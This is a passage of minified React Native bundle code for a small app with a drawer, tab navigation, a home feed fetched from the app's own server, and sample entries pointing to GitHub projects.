s=_-r.props.drawerWidth;if(1!==r._lastOpenValue)return n>=_-35&&o<0&&(r._isClosing=!1,!0);if(o>0&&Math.abs(o)>3*Math.abs(a)||n<s)return r._isClosing=!0,r._closingAnchorValue=r._getOpenValueForX(n),!0}},r._panResponderGrant=function(){r._emitStateChanged(D)},r._panResponderMove=function(e,t){var n=t.moveX,o=r._getOpenValueForX(n);r._isClosing&&(o=1-(r._closingAnchorValue-o)),o>1?o=1:o<0&&(o=0),r.state.openValue.setValue(o)},r._panResponderRelease=function(e,t){var n=t.moveX,o=t.vx,a=r._isClosing,i=o<b&&o>-b;\"left\"===r.getDrawerPosition()?o>0&&n>y||o>=b||i&&a&&n>y?r.openDrawer({velocity:o}):o<0&&n<y||o<-b||i&&!a?r.closeDrawer({velocity:o}):a?r.openDrawer():r.closeDrawer():o<0&&n<y||o<=-b||i&&a&&n<y?r.openDrawer({velocity:-1*o}):o>0&&n>y||o>b||i&&!a?r.closeDrawer({velocity:-1*o}):a?r.openDrawer():r.closeDrawer()},r._isLockedClosed=function(){return\"locked-closed\"===r.props.drawerLockMode&&!r.state.drawerShown},r._isLockedOpen=function(){return\"locked-open\"===r.props.drawerLockMode&&r.state.drawerShown},r.state={accessibilityViewIsModal:!1,drawerShown:!1,openValue:new v.Animated.Value(0)},r}return s(t,e),d(t,[{key:\"getDrawerPosition\",value:function(){var e=this.props.drawerPosition,t=v.I18nManager.isRTL;return t?\"left\"===e?\"right\":\"left\":e}},{key:\"componentWillMount\",value:function(){var e=this,t=this.state.openValue;t.addListener(function(t){var n=t.value,r=n>0,o=r;r!==e.state.drawerShown&&e.setState({drawerShown:r,accessibilityViewIsModal:o}),\"on-drag\"===e.props.keyboardDismissMode&&(0,w.default)(),e._lastOpenValue=n,e.props.onDrawerSlide&&e.props.onDrawerSlide({nativeEvent:{offset:n}})}),this._panResponder=v.PanResponder.create({onMoveShouldSetPanResponder:this._shouldSetPanResponder,onPanResponderGrant:this._panResponderGrant,onPanResponderMove:this._panResponderMove,onPanResponderTerminationRequest:function(){return!1},onPanResponderRelease:this._panResponderRelease,onPanResponderTerminate:function(){}})}},{key:\"render\",value:function(){var e=this.state,t=e.accessibilityViewIsModal,n=e.drawerShown,r=e.openValue,o=this.props,a=o.drawerBackgroundColor,i=o.drawerWidth,s=o.drawerPosition,l={backgroundColor:a,width:i,left:\"left\"===s?0:null,right:\"right\"===s?0:null},p=void 0;p=\"left\"===this.getDrawerPosition()?[-i,0]:[i,0];var d=r.interpolate({inputRange:[0,1],outputRange:p,extrapolate:\"clamp\"}),c={transform:[{translateX:d}]},h=r.interpolate({inputRange:[0,1],outputRange:[0,.7],extrapolate:\"clamp\"}),w={opacity:h},g=n?\"auto\":\"none\";return f.default.createElement(v.View,u({style:{flex:1,backgroundColor:\"transparent\"}},this._panResponder.panHandlers),f.default.createElement(v.Animated.View,{style:V.main},this.props.children),f.default.createElement(v.TouchableWithoutFeedback,{pointerEvents:g,onPress:this._onOverlayClick},f.default.createElement(v.Animated.View,{pointerEvents:g,style:[V.overlay,w]})),f.default.createElement(v.Animated.View,{accessibilityViewIsModal:t,style:[V.drawer,l,c]},this.props.renderNavigationView()))}},{key:\"_getOpenValueForX\",value:function(e){var t=this.props.drawerWidth;return\"left\"===this.getDrawerPosition()?e/t:(_-e)/t}}]),t}(c.Component),l.defaultProps={drawerWidth:0,drawerPosition:\"left\",useNativeAnimations:!1},l.positions={Left:\"left\",Right:\"right\"},p);r.default=O;var V=v.StyleSheet.create({drawer:{position:\"absolute\",top:0,bottom:0,zIndex:1001},main:{flex:1,zIndex:0},overlay:{backgroundColor:\"#000\",position:\"absolute\",top:0,left:0,bottom:0,right:0,zIndex:1e3}})},363);\n__d(function(e,t,u,n){function d(){r.blurTextInput(r.currentlyFocusedField())}Object.defineProperty(n,\"__esModule\",{value:!0}),n.default=d;var l=t(12),r=l.TextInput.State;u.exports=n.default},364);\n__d(function(e,t,r,o){Object.defineProperty(o,\"__esModule\",{value:!0});var n=t(52),s=babelHelpers.interopRequireWildcard(n),a=t(12),i=t(355),l=babelHelpers.interopRequireDefault(i),u=t(306),p=babelHelpers.interopRequireDefault(u),c=t(308),d=babelHelpers.interopRequireDefault(c),b=function(e){function t(){var e,r,o,n;babelHelpers.classCallCheck(this,t);for(var s=arguments.length,a=Array(s),i=0;i<s;i++)a[i]=arguments[i];return r=o=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(a))),o._getScreenOptions=function(e){var t=o.props.router.getComponentForRouteName(\"DrawerClose\");(0,d.default)(t.router,\"NavigationComponent with routeName DrawerClose should be a Navigator\");var r=o.props.childNavigationProps[e];return t.router.getScreenOptions(void 0!==r.state.index?babelHelpers.extends({},r,{state:babelHelpers.extends({},r.state,{index:0})}):r,o.props.screenProps)},o._getLabel=function(e){var t=e.focused,r=e.tintColor,n=e.route,s=o._getScreenOptions(n.key),a=s.drawerLabel,i=s.title;return a?\"function\"==typeof a?a({tintColor:r,focused:t}):a:\"string\"==typeof i?i:n.routeName},o._renderIcon=function(e){var t=e.focused,r=e.tintColor,n=e.route,s=o._getScreenOptions(n.key),a=s.drawerIcon;return a?\"function\"==typeof a?a({tintColor:r,focused:t}):a:null},o._onItemPress=function(e){var t=e.route,r=e.focused;if(o.props.navigation.navigate(\"DrawerClose\"),!r){var n=void 0;void 0!==t.index&&0!==t.index&&(t=t,n=p.default.navigate({routeName:t.routes[0].routeName})),o.props.navigation.navigate(t.routeName,void 0,n)}},n=r,babelHelpers.possibleConstructorReturn(o,n)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props.contentComponent;if(!e)return null;var t=this.props.navigation.state;return(0,d.default)(\"number\"==typeof t.index,\"should be set\"),s.createElement(a.View,{style:[f.container,this.props.style]},s.createElement(e,babelHelpers.extends({},this.props.contentOptions,{navigation:this.props.navigation,items:t.routes,activeItemKey:t.routes[t.index]&&t.routes[t.index].key,screenProps:this.props.screenProps,getLabel:this._getLabel,renderIcon:this._renderIcon,onItemPress:this._onItemPress,router:this.props.router})))}}]),t}(s.PureComponent);o.default=(0,l.default)(b);var f=a.StyleSheet.create({container:{flex:1}})},365);\n__d(function(e,t,n,r){Object.defineProperty(r,\"__esModule\",{value:!0});var a=t(52),o=babelHelpers.interopRequireWildcard(a),i=t(12),l=t(325),c=babelHelpers.interopRequireDefault(l),s=t(321),u=babelHelpers.interopRequireDefault(s),d=function(e){var t=e.navigation,n=(t.state,t.navigate,e.items),r=e.activeItemKey,a=e.activeTintColor,l=e.activeBackgroundColor,s=e.inactiveTintColor,d=e.inactiveBackgroundColor,m=e.getLabel,v=e.renderIcon,y=e.onItemPress,g=e.itemsContainerForceInset,b=void 0===g?{horizontal:\"never\",top:\"always\"}:g,p=e.itemsContainerStyle,C=e.itemStyle,I=e.labelStyle,k=e.iconContainerStyle;return o.createElement(c.default,{forceInset:b},o.createElement(i.View,{style:[f.container,p]},n.map(function(e,t){var n=r===e.key,g=n?a:s,b=n?l:d,p={route:e,index:t,focused:n,tintColor:g},w=v(p),E=m(p);return o.createElement(u.default,{key:e.key,onPress:function(){y({route:e,focused:n})},delayPressIn:0},o.createElement(c.default,{style:{backgroundColor:b},forceInset:{horizontal:\"always\"}},o.createElement(i.View,{style:[f.item,C]},w?o.createElement(i.View,{style:[f.icon,n?null:f.inactiveIcon,k]},w):null,\"string\"==typeof E?o.createElement(i.Text,{style:[f.label,{color:g},I]},E):E)))})))};d.defaultProps={activeTintColor:\"#2196f3\",activeBackgroundColor:\"rgba(0, 0, 0, .04)\",inactiveTintColor:\"rgba(0, 0, 0, .87)\",inactiveBackgroundColor:\"transparent\"};var f=i.StyleSheet.create({container:{paddingVertical:4},item:{flexDirection:\"row\",alignItems:\"center\"},icon:{marginHorizontal:16,width:24,alignItems:\"center\"},inactiveIcon:{opacity:.62},label:{margin:16,fontWeight:\"bold\"}});r.default=d},366);\n__d(function(e,a,t,i){function n(e){var a=function(a,t){var i=t.navigation;return l.createElement(e,babelHelpers.extends({},a,{navigation:i}))},t=e.displayName||e.name;return a.displayName=\"withNavigation(\"+t+\")\",a.contextTypes={navigation:o.default.object.isRequired},(0,p.default)(a,e)}Object.defineProperty(i,\"__esModule\",{value:!0}),i.default=n;var r=a(52),l=babelHelpers.interopRequireWildcard(r),u=a(111),o=babelHelpers.interopRequireDefault(u),d=a(327),p=babelHelpers.interopRequireDefault(d)},367);\n__d(function(e,t,n,a){Object.defineProperty(a,\"__esModule\",{value:!0});var i=t(52),o=babelHelpers.interopRequireDefault(i),r=t(12),l=t(303),s=function(e){function t(e){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={},n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){var e=this;this.timer=setTimeout(function(){var t=l.NavigationActions.reset({index:0,actions:[l.NavigationActions.navigate({routeName:\"Tabbar\"})]});e.props.navigation.dispatch(t)},2e3)}},{key:\"componentWillUnmount\",value:function(){clearTimeout(this.timer)}},{key:\"render\",value:function(){return o.default.createElement(r.View,{style:u.view},o.default.createElement(r.Text,{style:u.text},\"WHC React Native App\"))}}]),t}(i.Component);s.navigationOptions={header:null};var u=r.StyleSheet.create({view:{flex:1,alignItems:\"center\",justifyContent:\"center\",backgroundColor:\"#F06768\"},text:{fontSize:20,fontWeight:\"bold\",color:\"#fff\"}});a.default=s},368);\n__d(function(e,t,a,o){Object.defineProperty(o,\"__esModule\",{value:!0});var i=t(52),r=babelHelpers.interopRequireDefault(i),n=t(303),l=t(12),u=t(370),c=babelHelpers.interopRequireDefault(u),b=t(389),f=babelHelpers.interopRequireDefault(b),d=t(403),s=babelHelpers.interopRequireDefault(d),p=t(372),g=babelHelpers.interopRequireWildcard(p),h=(0,n.TabNavigator)({Home:{screen:c.default,navigationOptions:{tabBarLabel:\"\\u9996\\u9875\",tabBarIcon:function(e){var a=e.tintColor;return r.default.createElement(l.Image,{resizeMode:\"contain\",source:t(409),style:{width:20,height:20,tintColor:a}})}}},Community:{screen:f.default,navigationOptions:{tabBarLabel:\"\\u793e\\u533a\",tabBarIcon:function(e){var a=e.tintColor;return r.default.createElement(l.Image,{source:t(416),style:{width:20,height:20,tintColor:a}})}}},My:{screen:s.default,navigationOptions:{tabBarLabel:\"\\u6211\\u7684\",tabBarIcon:function(e){var a=e.tintColor;return r.default.createElement(l.Image,{source:t(417),style:{width:25,height:25,tintColor:a}})}}}},{tabBarPosition:\"bottom\",lazy:!0,initialRouteName:\"Home\",swipeEnabled:!1,animationEnabled:!1,tabBarOptions:{showIcon:!0,style:{height:49,backgroundColor:\"#ffffff\",zIndex:0,position:\"relative\"},labelStyle:{fontSize:11,paddingVertical:0},iconStyle:{marginTop:-2},tabStyle:{backgroundColor:\"white\"},activeBackgroundColor:\"#fff\",activeTintColor:g.themeColor,inactiveBackgroundColor:\"white\",inactiveTintColor:g.themeBlack}});o.default=h},369);\n__d(function(e,t,a,n){Object.defineProperty(n,\"__esModule\",{value:!0});var r=t(52),o=babelHelpers.interopRequireDefault(r),i=t(12),l=t(371),s=babelHelpers.interopRequireDefault(l),f=t(379),u=babelHelpers.interopRequireDefault(f),d=t(381),c=babelHelpers.interopRequireDefault(d),g=(t(382),t(374)),h=babelHelpers.interopRequireDefault(g),p=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._startRequest=function(e){var t=e.refreshing,n=e.footerloading;a._loading({isload:!0,refreshing:t,footerloading:n}),h.default.get({api:\"home/\",param:{page:a.page}},function(e){a.message=null,1==a.page&&(a.data_list=[]),0==e.code?a.data_list=a.data_list.concat(e.data.list):(a.message=e.message,a.data_list=[]),setTimeout(function(){a._loading({isload:!1})},1e3)})},a._loading=function(e){var t=e.isload,n=(e.message,e.refreshing),r=e.footerloading;a.setState(function(e){return e.requesting=t,e.refreshing=n||!1,e.footerLoading=r||!1,e})},a._onRefresh=function(e){a.page=1,a._startRequest({refreshing:!0})},a._onFooterLoadMore=function(e){a.page+=1,a._startRequest({footerloading:!0})},a._loadMoreItem=function(){var e=a.state.footerloading;return e?o.default.createElement(i.View,{style:m.footerLoad},o.default.createElement(i.ActivityIndicator,{animating:e,size:\"small\"})):null},a._clickItem=function(e){var t=a.props.navigation.navigate;t(\"Webv\",{linkUrl:e.linkUrl,title:e.title})},a.state={refreshing:!1,footerLoading:!1,requesting:!1},a.data_list=[],a.meesage=null,a.page=1,a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentDidMount\",value:function(){this._startRequest({})}},{key:\"render\",value:function(){var e=this,t=this.state,a=t.refreshing;t.footerloading;return o.default.createElement(i.View,{style:{flex:1}},o.default.createElement(i.FlatList,{ListFooterComponent:this._loadMoreItem,refreshControl:o.default.createElement(i.RefreshControl,{title:\"Loading\",onRefresh:this._onRefresh,refreshing:a,colors:[\"#ffaa66cc\",\"#ff00ddff\",\"#ffffbb33\",\"#ffff4444\"]}),onEndReached:this._onFooterLoadMore,onEndReachedThreshold:0,style:m.list,data:this.data_list,renderItem:function(t){var a=t.item,n=t.index;return o.default.createElement(s.default,{key:n,itemInfo:a,click:function(){e._clickItem(a)}})}}),o.default.createElement(u.default,{show:this.state.requesting}),o.default.createElement(c.default,{message:this.message}))}}]),t}(r.Component);p.navigationOptions={title:\"\\u9996\\u9875\"};var m=i.StyleSheet.create({v:{flex:1,backgroundColor:\"#F4F6F9\"},list:{marginTop:0},footerLoad:{height:40,justifyContent:\"center\",alignItems:\"center\"}});n.default=p},370);\n__d(function(e,t,l,o){Object.defineProperty(o,\"__esModule\",{value:!0});var r=t(52),i=babelHelpers.interopRequireDefault(r),n=t(12),a=t(372),u=babelHelpers.interopRequireWildcard(a),c=t(373),s=babelHelpers.interopRequireDefault(c),m=t(374),g=babelHelpers.interopRequireDefault(m),d=function(e){function l(e){babelHelpers.classCallCheck(this,l);var t=babelHelpers.possibleConstructorReturn(this,(l.__proto__||Object.getPrototypeOf(l)).call(this,e));return t._clickCollection=function(e){Alert.alert(\"\\u70b9\\u51fb\\u6536\\u85cf\")},t._clickMsg=function(e){Alert.alert(\"\\u70b9\\u51fb\\u9605\\u8bfb\\u6d88\\u606f\")},t.state={},t}return babelHelpers.inherits(l,e),babelHelpers.createClass(l,[{key:\"render\",value:function(){var e=this.props.itemInfo,l=this.props.click;return i.default.createElement(n.TouchableHighlight,{onPress:l},i.default.createElement(n.View,{style:f.item},i.default.createElement(n.View,{style:f.topsegv}),i.default.createElement(n.View,{style:f.topv},i.default.createElement(n.Image,{style:f.userImg,source:{uri:g.default.main_url+e.userIcon}}),i.default.createElement(n.Text,{style:f.author},e.author),i.default.createElement(n.Text,{style:f.date},\"\\u53d1\\u5e03\\u65e5\\u671f: \",e.date)),i.default.createElement(n.View,{style:f.bottomv},i.default.createElement(n.View,{style:f.bottomleft},i.default.createElement(n.Text,{style:f.title,numberOfLines:2},e.title),i.default.createElement(n.Text,{style:f.content,numberOfLines:2},e.detail)),i.default.createElement(n.Image,{style:f.logoImg,source:{uri:g.default.main_url+e.logoUrl}})),i.default.createElement(n.View,{style:f.bottombar},i.default.createElement(s.default,{style:f.bottomButton,imageSource:t(377),text:e.collectionCount,imageStyle:f.collectionImg,textStyle:f.bottomButtonText,underlayColor:\"transparent\",onPress:this._clickCollection}),i.default.createElement(s.default,{style:f.bottomButton,imageSource:t(378),text:e.msgCount,imageStyle:f.msgImg,textStyle:f.bottomButtonText,underlayColor:\"transparent\",onPress:this._clickMsg}))))}}]),l}(r.Component),f=n.StyleSheet.create({topsegv:{backgroundColor:\"#F4F6F9\",height:15},topv:{flexDirection:\"row\",marginTop:25,alignItems:\"center\"},bottomv:{flexDirection:\"row\",paddingTop:20,paddingRight:20,height:110},bottomleft:{flexDirection:\"column\",paddingLeft:20,paddingRight:10,flexShrink:1,height:90},author:{marginLeft:8},logoImg:{height:90,width:90,borderRadius:3,flexShrink:0},date:{textAlign:\"right\",flexGrow:1,marginRight:20,color:\"#8D9DA0\"},item:{paddingTop:0,paddingBottom:10,backgroundColor:\"#fff\"},title:{fontSize:17,color:u.themeBlack,fontWeight:\"bold\"},content:{marginTop:8,fontSize:14,color:\"#647079\",flex:1},userImg:{height:30,width:30,marginLeft:20,borderRadius:15},bottomButton:{flexDirection:\"row\",alignItems:\"center\"},bottomButtonText:{color:\"#94A2B0\",fontSize:12,marginLeft:5},bottombar:{flexDirection:\"row\",marginTop:10,paddingLeft:20,paddingRight:20,alignItems:\"center\"},msgImg:{width:13,height:13,marginLeft:20},collectionImg:{width:16,height:16}});o.default=d},371);\n__d(function(e,t,c,f){Object.defineProperty(f,\"__esModule\",{value:!0});f.themeBlack=\"#333\",f.themeGary=\"#ccc\",f.themeColor=\"#CC6766\",f.themeLine=\"#f1f1f1\"},372);\n__d(function(e,t,r,l){Object.defineProperty(l,\"__esModule\",{value:!0});var s=t(52),a=babelHelpers.interopRequireDefault(s),o=t(12),n=function(e){function t(e){babelHelpers.classCallCheck(this,t);var r=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return r.state={},r}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"render\",value:function(){var e=this.props.onPress,t=this.props.style,r=this.props.imageStyle,l=this.props.textStyle,s=this.props.imageSource,n=this.props.text,i=this.props.underlayColor;return a.default.createElement(o.TouchableHighlight,{underlayColor:i,onPress:e},a.default.createElement(o.View,{style:t},a.default.createElement(o.Image,{style:r,source:s}),a.default.createElement(o.Text,{style:l},n)))}}]),t}(s.Component);l.default=n},373);\n__d(function(e,a,t,n){Object.defineProperty(n,\"__esModule\",{value:!0});var o=a(375),r=babelHelpers.interopRequireDefault(o),i=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"get\",value:function(e,a){var t=e.api,n=e.param,o=e.headers;this.request({api:t,param:n,headers:o,method:\"GET\"},a)}},{key:\"post\",value:function(e,a){var t=e.api,n=e.param,o=e.headers;this.request({api:t,param:n,headers:o,method:\"POST\"},a)}},{key:\"request\",value:function(e,a){var t=e.api,n=e.param,o=void 0===n?{}:n,i=e.headers,l=e.method;if(void 0!=t){o.token=r.default.token,void 0==i?i={Accept:\"application/json\",\"Content-Type\":\"multipart/form-data\"}:(void 0==i.Accept&&(i.Accept=\"application/json\"),void 0==i[\"Content-Type\"]&&(i[\"Content-Type\"]=\"multipart/form-data\"));var p=l||\"GET\",d={method:p,headers:i},s=this.main_url+t;if(\"GET\"==p){var u=\"\",c=0;for(var f in o)u+=(0==c?\"\":\"&\")+f+\"=\"+o[f],c+=1;s+=(\"\"==u?\"\":\"?\")+u}else{var h=new FormData;for(var v in o)h.append(v,o[v]);d.body=h}fetch(s,d).then(function(e){return e.json()}).then(function(e){var t=e.token,n=void 0===t?\"\":t;n.length>0&&(r.default.token=n),r.default.did_login=\"\"!==r.default.token,a&&a(e||{code:1,message:\"\\u53d1\\u9001\\u8bf7\\u6c42\\u5931\\u8d25\"})})}else a&&a({code:1,message:\"\\u53d1\\u9001\\u8bf7\\u6c42\\u5931\\u8d25\"})}}]),e}();i.main_url=\"http://www.wuhaichao.com/app/\",n.default=i},374);\n__d(function(e,l,i,n){Object.defineProperty(n,\"__esModule\",{value:!0});var t=l(376),s=babelHelpers.interopRequireDefault(t),a=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"exit_login\",value:function(){this.username=\"\",this.password=\"\",this.did_login=!1,s.default.remove(\"login\")}}]),e}();a.user_info={},a.token=\"\",a.did_login=!1,n.default=a},375);\n__d(function(e,t,n,a){Object.defineProperty(a,\"__esModule\",{value:!0});var l=t(52),r=(babelHelpers.interopRequireDefault(l),t(12)),s=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"value\",value:function(e,t){e&&r.AsyncStorage.getItem(e,function(e,n){t&&!e&&t(JSON.parse(n))})}},{key:\"set\",value:function(e,t,n){t&&e&&(\"string\"==typeof t?r.AsyncStorage.setItem(e,t):t instanceof Object&&r.AsyncStorage.setItem(e,JSON.stringify(t),n))}},{key:\"remove\",value:function(e,t){e&&r.AsyncStorage.removeItem(e,t)}}]),e}();a.default=s},376);\n__d(function(e,a,s,t){s.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:64,height:64,scales:[1],hash:\"a5e45c22ea54b6ae5375605c288c97ba\",name:\"collection_icon\",type:\"png\"})},377);\n__d(function(e,s,a,t){a.exports=s(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:64,height:64,scales:[1],hash:\"8e623b6a45a068e22014ad38643141ff\",name:\"msg_icon\",type:\"png\"})},378);\n__d(function(e,t,a,n){Object.defineProperty(n,\"__esModule\",{value:!0});var r=t(52),i=babelHelpers.interopRequireDefault(r),o=t(12),l=function(e){function a(e){babelHelpers.classCallCheck(this,a);var t=babelHelpers.possibleConstructorReturn(this,(a.__proto__||Object.getPrototypeOf(a)).call(this,e));return t._startAnimation=function(){t.state.rotate_value.setValue(0),o.Animated.timing(t.state.rotate_value,{toValue:1,duration:1e3,easing:o.Easing.out(o.Easing.ease)}).start(function(){return t._startAnimation()})},t.state={rotate_value:new o.Animated.Value(0)},t}return babelHelpers.inherits(a,e),babelHelpers.createClass(a,[{key:\"componentDidMount\",value:function(){this._startAnimation()}},{key:\"render\",value:function(){var e=this.props,a=e.show,n=void 0!==a&&a,r=e.image,l=void 0===r?null:r;return i.default.createElement(o.Modal,{animationType:\"none\",transparent:!0,visible:n},i.default.createElement(o.View,{style:s.loadingView},i.default.createElement(o.View,{style:s.loading},i.default.createElement(o.Animated.Image,{style:{width:40,height:40,transform:[{rotateZ:this.state.rotate_value.interpolate({inputRange:[0,1],outputRange:[\"0deg\",\"360deg\"]})}]},source:l||t(380)}))))}}]),a}(r.Component);n.default=l;var s=o.StyleSheet.create({loadingView:{flex:1,backgroundColor:\"#00000033\",alignItems:\"center\",justifyContent:\"center\"},loading:{width:70,height:70,alignItems:\"center\",justifyContent:\"center\",borderRadius:5,backgroundColor:\"#ffffffF2\"}})},379);\n__d(function(e,a,s,t){s.exports=a(154).registerAsset({__packager_asset:!0,httpServerLocation:\"/assets/app/images\",width:80,height:80,scales:[1],hash:\"a434da6135cf7c9e823900657b5b2534\",name:\"loading\",type:\"png\"})},380);\n__d(function(e,t,a,n){Object.defineProperty(n,\"__esModule\",{value:!0});var i=t(52),r=babelHelpers.interopRequireDefault(i),o=t(12),s=function(e){function t(e){babelHelpers.classCallCheck(this,t);var a=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return a._startAnimation=function(){a.did_end_show=!1,o.Animated.timing(a.opacity,{toValue:1,duration:200,easing:o.Easing.out(o.Easing.linear)}).start(function(){var e=a.props.duration;a.timer=setTimeout(function(){a.opacity.setValue(1),o.Animated.timing(a.opacity,{toValue:0,duration:200,easing:o.Easing.out(o.Easing.linear)}).start(function(){var e=a.props.hideBlock;a.opacity=new o.Animated.Value(0),e&&e()})},e||2500)})},a.opacity=new o.Animated.Value(0),a}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentWillUnmount\",value:function(){this.timer&&clearTimeout(this.timer)}},{key:\"render\",value:function(){var e=this.props.message,t=void 0===e?null:e,a=\"\"!=(t||\"\");return a&&this._startAnimation(),r.default.createElement(o.Modal,{transparent:!0,visible:a},r.default.createElement(o.View,{style:l.toast},r.default.createElement(o.Animated.View,{style:[l.message,{opacity:this.opacity}]},r.default.createElement(o.Text,{style:l.text},t||\"\"))))}}]),t}(i.Component);n.default=s;var l=o.StyleSheet.create({toast:{flex:1,backgroundColor:\"transparent\",alignItems:\"center\",justifyContent:\"center\"},message:{alignItems:\"center\",justifyContent:\"center\",padding:20,backgroundColor:\"#000000B2\",borderRadius:5},text:{color:\"white\",fontSize:14}})},381);\n__d(function(t,o,e,l){Object.defineProperty(l,\"__esModule\",{value:!0});l.itemInfos=[{key:\"1\",title:\"iOS/Mac\\u9ad8\\u6548\\u8f85\\u52a9\\u5f00\\u53d1\\u5f00\\u6e90\\u8f6f\\u4ef6\",author:\"\\u5434\\u6d77\\u8d85\",date:\"2017-10-11\",detail:\"Mac\\u4e0aiOS\\u5f00\\u53d1\\u8f85\\u52a9\\u5de5\\u5177\\uff0c\\u5feb\\u901f\\u628ajson/xml\\u6570\\u636e\\u8f6c\\u6362\\u751f\\u6210\\u5bf9\\u5e94\\u6a21\\u578b\\u7c7b\\u5c5e\\u6027\\uff0c\\u7701\\u53bb\\u9ebb\\u70e6\\u624b\\u52a8\\u521b\\u5efa\\uff0c\\u63d0\\u9ad8\\u5f00\\u53d1\\u6548\\u7387\\u3002Mac iOS development aid, quickly put the json/XML data transformation generates the corresponding model class attribute, save trouble created manually, improve the development efficiency.\",logoUrl:o(383),userIcon:o(384),collectionIcon:o(377),msgIcon:o(378),msgCount:8,linkUrl:\"https://github.com/netyouli/WHC_DataModelFactory\",collectionCount:90},{key:\"2\",title:\"iOS/Mac\\u5e73\\u53f0AutoLayout\\u5f00\\u6e90\\u5e93\",author:\"\\u5434\\u6d77\\u8d85\",date:\"2016-2-10\",detail:\"iOS/Mac OS X\\u5e73\\u53f0\\u4e0a\\u76ee\\u524d\\u4f7f\\u7528\\u6700\\u7b80\\u5355\\u5f00\\u53d1\\u6784\\u5efaUI\\u901f\\u5ea6\\u6700\\u5feb\\u7684\\u81ea\\u52a8\\u5e03\\u5c40\\u5f00\\u6e90\\u5e93\\uff0c\\u5f3a\\u608d\\u7684\\u52a8\\u6001\\u5e03\\u5c40\\u7ea6\\u675f\\u5904\\u7406\\u80fd\\u529b\",logoUrl:o(385),userIcon:o(386),collectionIcon:o(377),msgIcon:o(378),msgCount:7,linkUrl:\"https://github.com/netyouli/WHC_AutoLayoutKit\",collectionCount:10},{key:\"3\",title:\"iOS/Mac\\u5e73\\u53f0Sqlite ORM\\u5e93\",author:\"\\u5434\\u6d77\\u8d85\",date:\"2017-10-14\",detail:\"\\u4e13\\u4e1a\\u7684\\u6570\\u636e\\u5e93\\u5b58\\u50a8\\u89e3\\u51b3\\u65b9\\u6848\\uff0c\\u7ebf\\u7a0b\\u5b89\\u5168\\uff0c\\u9ad8\\u6027\\u80fd\\u6a21\\u578b\\u5bf9\\u8c61\\u5b58\\u50a8Sqlite\\u5f00\\u6e90\\u5e93\\uff0c\\u771f\\u6b63\\u5b9e\\u73b0\\u4e00\\u884c\\u4ee3\\u7801\\u64cd\\u4f5c\\u6570\\u636e\\u5e93\\uff0c\\u8ba9\\u6570\\u636e\\u5e93\\u5b58\\u50a8\\u53d8\\u5f97\\u7b80\\u5355\",logoUrl:o(387),userIcon:o(388),collectionIcon:o(377),msgIcon:o(378),msgCount:7,linkUrl:\"https://github.com/netyouli/WHC_ModelSqliteKit\",collectionCount:10},{key:\"4\",title:\"iOS/Mac\\u9ad8\\u6548\\u8f85\\u52a9\\u5f00\\u53d1\\u5f00\\u6e90\\u8f6f\\u4ef6\",author:\"\\u5434\\u6d77\\u8d85\",date:\"2017-10-11\",detail:\"Mac\\u4e0aiOS\\u5f00\\u53d1\\u8f85\\u52a9\\u5de5\\u5177\\uff0c\\u5feb\\u901f\\u628ajson/xml\\u6570\\u636e\\u8f6c\\u6362\\u751f\\u6210\\u5bf9\\u5e94\\u6a21\\u578b\\u7c7b\\u5c5e\\u6027\\uff0c\\u7701\\u53bb\\u9ebb\\u70e6\\u624b\\u52a8\\u521b\\u5efa\\uff0c\\u63d0\\u9ad8\\u5f00\\u53d1\\u6548\\u7387\\u3002Mac iOS development aid, quickly put the json/XML data transformation generates the corresponding model class attribute, save trouble created manually, improve the development efficiency.\",logoUrl:o(383),userIcon:o(384),collectionIcon:o(377),msgIcon:o(378),msgCount:8,linkUrl:\"https://github.com/netyouli/WHC_DataModelFactory\",collectionCount:90},{key:\"5\",title:\"iOS/Mac\\u5e73\\u53f0AutoLayout\\u5f00\\u6e90\\u5e93\",author:\"\\u5434\\u6d77\\u8d85\",date:\"2016-2-10\",detail:\"iOS/Mac OS X\\u5e73\\u53f0\\u4e0a\\u76ee\\u524d\\u4f7f\\u7528\\u6700\\u7b80\\u5355\\u5f00\\u53d1\\u6784\\u5efaUI\\u901f\\u5ea6\\u6700\\u5feb\\u7684\\u81ea\\u52a8\\u5e03\\u5c40\\u5f00\\u6e90\\u5e93\\uff0c\\u5f3a\\u608d\\u7684\\u52a8\\u6001\\u5e03\\u5c40\\u7ea6\\u675f\\u5904\\u7406\\u80fd\\u529b\",logoUrl:o(385),userIcon:o(386),collectionIcon:o(377),msgIcon:o(378),msgCount:7,linkUrl:\"https://github.com/netyouli/WHC_AutoLayoutKit\",collectionCount:10},{key:\"6\",title:\"iOS/Mac\\u5e73\\u53f0Sqlite 